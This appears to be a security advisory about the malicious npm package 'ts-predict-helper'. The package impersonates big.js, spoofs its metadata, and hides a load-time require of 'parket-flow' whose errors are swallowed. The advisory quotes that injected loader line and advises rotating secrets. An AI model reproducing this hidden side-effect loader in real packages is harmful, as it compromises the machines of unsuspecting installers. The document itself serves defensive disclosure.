If this package is installed
Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.
Details
Source: amazon-inspector (7efbafcedfb49da5093c3972473a549694dd9dd748281a299034c31578db1943)
Package is published as `ts-predict-helper` but ships a byte-equivalent copy of big.js v7.0.1's source and README (which states 'No dependencies'), along with spoofed `package.json` metadata pointing at MikeMcl/big.js and naming Michael Mclaughlin as author. Inside the otherwise-verbatim big.js source (around line 530) an injected try/catch block runs at module load: `try { const doc = require("parket-flow"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }`. The package declares an undisclosed runtime dependency on `parket-flow` ^3.0.1, which is unrelated to arbitrary-precision arithmetic and is the actual payload carrier. Any consumer who installs `ts-predict-helper` (e.g. via a copy-pasted install snippet) and `require()`s it will silently pull `parket-flow` into their dependency tree and invoke its `from_str()` API in-process, with all errors swallowed to hide failure. The combination of identity spoofing (verbatim README/source/author/repo metadata under an unrelated package name) and a hidden side-effect require at load time is a textbook trojan-loader supply-chain pattern; whatever code `parket-flow` ships executes in the installer's Node.js process.
Source: ghsa-malware (004f4fa9462c6d9a1c43590fa685757267eb90905ab2cb17c0af20f082ae9913)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.